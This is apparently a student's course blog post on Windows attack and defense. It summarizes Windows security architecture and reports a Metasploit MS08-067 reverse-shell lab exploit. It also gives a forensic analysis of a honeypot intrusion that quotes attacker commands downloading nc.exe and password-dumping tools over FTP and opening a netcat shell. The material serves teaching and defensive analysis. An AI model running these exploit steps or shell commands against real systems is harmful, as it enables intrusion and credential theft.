20199318 2019-2020-2 《网络攻防实践》第七周作业

20199318 2019-2020-2 《网络攻防实践》第七周作业


1.知识点梳理与总结

1.1 Windows操作系统的基本结构
Windows操作系统内核的基本模块包括如下:

  • Windows执行体:即Windows内核核心文件ntoskml.exe的上层接口,包含基本依操作系统内核服务,如进程与线程管理、内存管理、I/O管理、网络连接、进程间通信,以及安全服务。
  • Windows内核体:即Windows内核核心文件ntoskml.exe中函数实现与硬件体系结构支持代码,实现底层的操作系统功能,如线程调度、中断和异常分发处理、多处理器同步机制等,同时也提供了一组内核例程与基本对象,以帮助执行体来实现高层次的功能服务。
  • 设备驱动程序:包括将用户I/O操作映射为特定硬件设备I/O请求的硬件设备駆动程序,以及文件系统与网络设备驱动程序。该部分支持通过数字签名认证的第三方硬件厂商的硬件设备驱动程序加载进入内核执行。
  • 硬件抽象层:即hal.dll文件,是用于屏蔽Windows内核与平台硬件差异性的底层代码。
  • Windows窗口与图形界面接口内核实现代码:即win32k.sys文件。

Windows操作系统在用户态的代码模块则包括如下:

  • 系统支持进程:Windows开机自动启动的系统内建服务进程,如负责登录用户身份认证的logon进程、会话管理进程等。
  • 环境子系统服务进程:为操作系统运行环境提供支持的服务进程,Windows XP只
    支持Windows环境子系统,而符合POSIX标准的环境子系统则作为UNIX产品的免费服务所提供。
  • 服务进程:通过Windows的服务管理机制所启动的一系列系统及网络服务,如Task Scheduler任务管理器服务,Microsoft SQL Server网络服务等。
  • 用户应用款件:在用户态执行的各类用户应用软件。
    -核心子系统 DLL:即 kemel32.dll/user32.dlVgdi32.dll/advapi32.dll等动态连接库文件,作为用户态服务进程与应用软件和操作系统内核的交互接口,将用户态程序调用的系统API函数映射到相应的一个或多个Windows内部的系统服务调用。

1.2 Windows安全体系结构

  • Winlogon进程与LSASS中的Netlogon分别负责Windows本地和远程登录用户的身份认证,利用LSASS所提供的身份验证服务,来确定安全主体身份的真实性。
  • 内核中的安全引用监控器作为Windows资源宝库的看门人,根据LSASS服务配置的安全访问控制策略,负责对所有安全主体访问Windows资源对象的授权坊问控制。
  • 安全引用监控器根据LSASS服务配置的安全审计策略,对访问过程中关注的事件进行记录,并由EventLog生成系统审计日志。

1.3 Windows 远程安全攻防技术
目前Windows远程攻击技术可以分为以下几大类:

  • 远程口令猜测与破解攻击:远程渗透攻击Windows系统最简单的方法仍然是猜测或破解出系统的登录口令,从Windows操作系统诞生以来一直存在的口令暴力破解、基于字典的猜测以及中间人身份认证欺骗攻击技术,仍对现在的Windows网络构成现实的威胁。
  • 攻击Windows网络服务&无论Windows自身独有的SMB、MSRPC、NETBIOS等网络服务,还是IIS、MS SQL等各种互联网服务在Windows系统上的具体服务实例,都不可避免地存在着可导致远程代码执行的高危性安全漏洞,攻击者也一直在利用这些漏洞来对Windows网络服务实施远程渗透攻击,从而得到Windows系统的访问权。
  • 攻击Windows客户墙及用户:最近几年来在微软公司Windows XP/Vista/Windows 7等操作系统的开发过程中,都应用了 SDL安全软件开发生命周期,从而有效地提升了Windows系统及本身服务的安全性,同时引入了 DEP数据执行保护、ASLR地址空间布局随机化机制、UAC用户账户控制等安全特性,这都使得攻击者越来越难以利用传统的攻击渠道来远程攻陷Windows系统。

1.4 windows本地安全攻防

windows本地提权

  • 在攻击者获得了widows的一定的权限之后,他们会尝试获得最高的权限。本地提权攻击都是利用系统的各种漏洞,所以针对本地提权攻击,最好的办法就是即使打好各种补

Windows敏感信息窃取

  • Windows系统口令字密文提取:在攻入windows之后,攻击者就有可能获得关键信息的密文文件。
  • windows系统口令字破解:在获得密文文件之后,自然就是要对密文进行解密。

windows消灭踪迹

  • 在攻击者获取了权限,或者获得了想要的信息之后,他们会想办法擦干净脚印,让用户不知道自己已经被攻破。
  • 关闭审计功能:Windows resource kit工具包里的auditpol程序可以让攻击者关闭审计功能。在攻击完成之后,又会重新打开审计功能。
  • 清理日志:如果攻击过程已经被日志记录下来,那么攻击者就会对日志里的有关自己入侵的信息清理掉。
  • 防范措施:将日志记录到不可擦写的CDROM中,或者通过网络传输出去。

windows远程控制与后门程序

  • 在攻击者完成了攻击之后,他们为了方便下一次的攻击,会在系统中植入远程控制和后门程序。
  • 防范措施:用一些检测软件来发现后门程序。

2.动手实践


动手实践:Metasploit Windows Attack
任务:使用Metasploit软件进行Windows远程渗透攻击实验。
具体任务内容:使用Windows Attacker/BT4攻击机尝试对Windows Metasploitable靶机
上的MS08-067漏洞进行远程渗透攻击,获取目标主机访问权。
实践步骤
① 启动metasploit软件,可根据个人喜好使用msfconsole、msfgui、msfweb之~*:
② 使用 exploit: windows/smb/ms08_067_netapi 渗透攻击模块:
③ 选择攻击PAYLOAD为远程shell,(正向或反向连接均可):
④ 设置渗透攻击参数(RHOST, LHOST, TARGET等);
⑤ 执行渗透攻击;
⑥ 査看是否正确得到远程Shell,并查看获得的权限。
实践过程如下
攻击机:kali;IP:192.168.200.6
靶机:Win2KServer_靶机;IP:192.168.200.124
首先在kali中启动msfconsole

查看ms08_067漏洞信息

显示可攻击载荷

set payload generic/shell_reverse_tcp这是获取shell的反向连接

set RHOST 192.168.200.124设置为靶机(XPSP1)IP
set LHOST 192.168.200.6设置为攻击机(Kali)IP
set LPORT 8888

exploit进行攻击,成功获取到靶机的shell,用ipconfig可以看到靶机的IP信息


取证分析实践:解码一次成功的NT系统破解攻击
任务:来自213.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106,(主机名为lab.wiretrip.net),分析数据为包含整个攻击过程的二进制文件,提取并分析攻击的全部过程
1.攻击者使用了什么破解工具进行攻击
2.攻击者如何使用这个破解工具进入并控制了系统
3.攻击者获得系统访问权限后做了什么
4.我们如何防止这样的攻击
5.你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么?
实践过程如下:
任务1
首先根据题目筛选下ip.addr == 213.116.251.162 && ip.addr ==172.16.1.106,可以发现攻击者一开始进行了HTTP访问。

找到编号117,发现攻击者打开了系统启动文件boot.ini,同时返现%C0%AF字符,%C0%AF为/的Unicode编码。

随后观察到编号130和编号140中含有msadc,很明显,这是进行探测的过程.

在编号149,通过追踪tcp流,发现这是一个SQL注入攻击

通过搜索特征码ADM!ROX!YOUR!WORLD,发现是msadc(2).pl
任务2:
追踪编号179tcp数据流,可以看到指令cmd /c echo user johna2k > ftpcom跟随这个数据包继续往下查找,可以看到下列的指令

cmd /c echo hacker2000 > ftpcom cmd /c echo get samdump.dll > ftpcom cmd /c echo get pdump.exe > ftpcom cmd /c echo get nc.exe > ftpcom cmd /c ftp -s:ftpcom -n www.nether.net

攻击者首先创建了一个ftpcom脚本,并使用ftp连接www.nether.net(给出了用户名密码),尝试下载 samdump.dll、pdump.exe和nc.exe(攻击工具)。继续查看会话1791-80之后出现了ftp的连接,目标IP为204.42.253.18。通过追踪TCP流发现,这个连接由于口令错误导致连接失败。说明这次攻击是一个失败的攻击。

然后直接筛选ftp连接,找到成功的ftp连接,一直到1106。

然后向前找,看看攻击者发送了什么指令。通过追踪TCP流,发现攻击者发送了如下的指令。

copy C:\winnt\system32\cmd.exe cmd1.exe
cmd1.exe /c open 213.116.251.162 >ftpcom
cmd1.exe /c echo johna2k >>ftpcom
cmd1.exe /c echo haxedj00 >>ftpcom
cmd1.exe /c echo get nc.exe >>ftpcom
cmd1.exe /c echo get pdump.exe >>ftpcom
cmd1.exe /c echo get samdump.dll >>ftpcom
cmd1.exe /c echo quit >>ftpcom

在下载完文件之后,攻击者执行了这样一条命令:cmd1.exe /c nc -l -p 6969 -e cmd1.exe。表示攻击者连接了6969端口,并且获得了访问权限。

任务3
用tcp.port == 6969筛选一下,然后追踪一下TCP流来发现攻击者的行为。

从上图的tcp流可以看到攻击者的行为:例如:dir;type readme.e;et group;等等

任务4

  1. 禁用用不着的 RDS 等服务。
  2. 及时修补漏洞,对漏洞打上相应的补丁。
  3. 防火墙封禁网络内部服务器发起的连接。

任务5:
攻击者发现了这是一台蜜罐主机,这是攻击者攻击者留下的信息:


团队对抗实践:Windows系统远程渗透攻击和分析

  1. 攻击方使用metaploit选择漏洞进行渗透攻击,获得控制权。
  2. 防守方使用wireshark监听获得网络攻击的数据包,结合分析过程,获得攻击者IP地址、目的IP地址和端口、攻击发起时间、攻击利用漏洞、攻击使用的shellcode,以及本地执行的命令输入信息。
    实践过程如下:
    攻击过程请参考实践1,这里不再过多的赘述;
    主要看一下wireshark捕获数据包以及分析的过程。
    在攻击机输入exploit之后,获得靶机的shell。然后输入ipconfig,观察wireshark的反应。

从上图可以看出源IP地址为192.168.200.6;目的IP地址为:192.168.200.124;源端口:8888(自己设置的);目的端口:1043;然后追踪tcp流可以看到攻击机获得shell后的操作:


3.遇到的问题

  • 问题:kali攻击机上没有msfconsole
  • 解决方法:通过gem install bundler:1.17.3命令安装。

4.学习感悟、思考

本次实践内容不是很多,但是书本上这一章节的内容还是非常多的,看了一遍书,感觉脑子有点儿晕,基本上啥也没记住,所以课下还得多看书。

posted @ 2020-04-14 16:39  孙茂林  阅读(311)  评论(0编辑  收藏  举报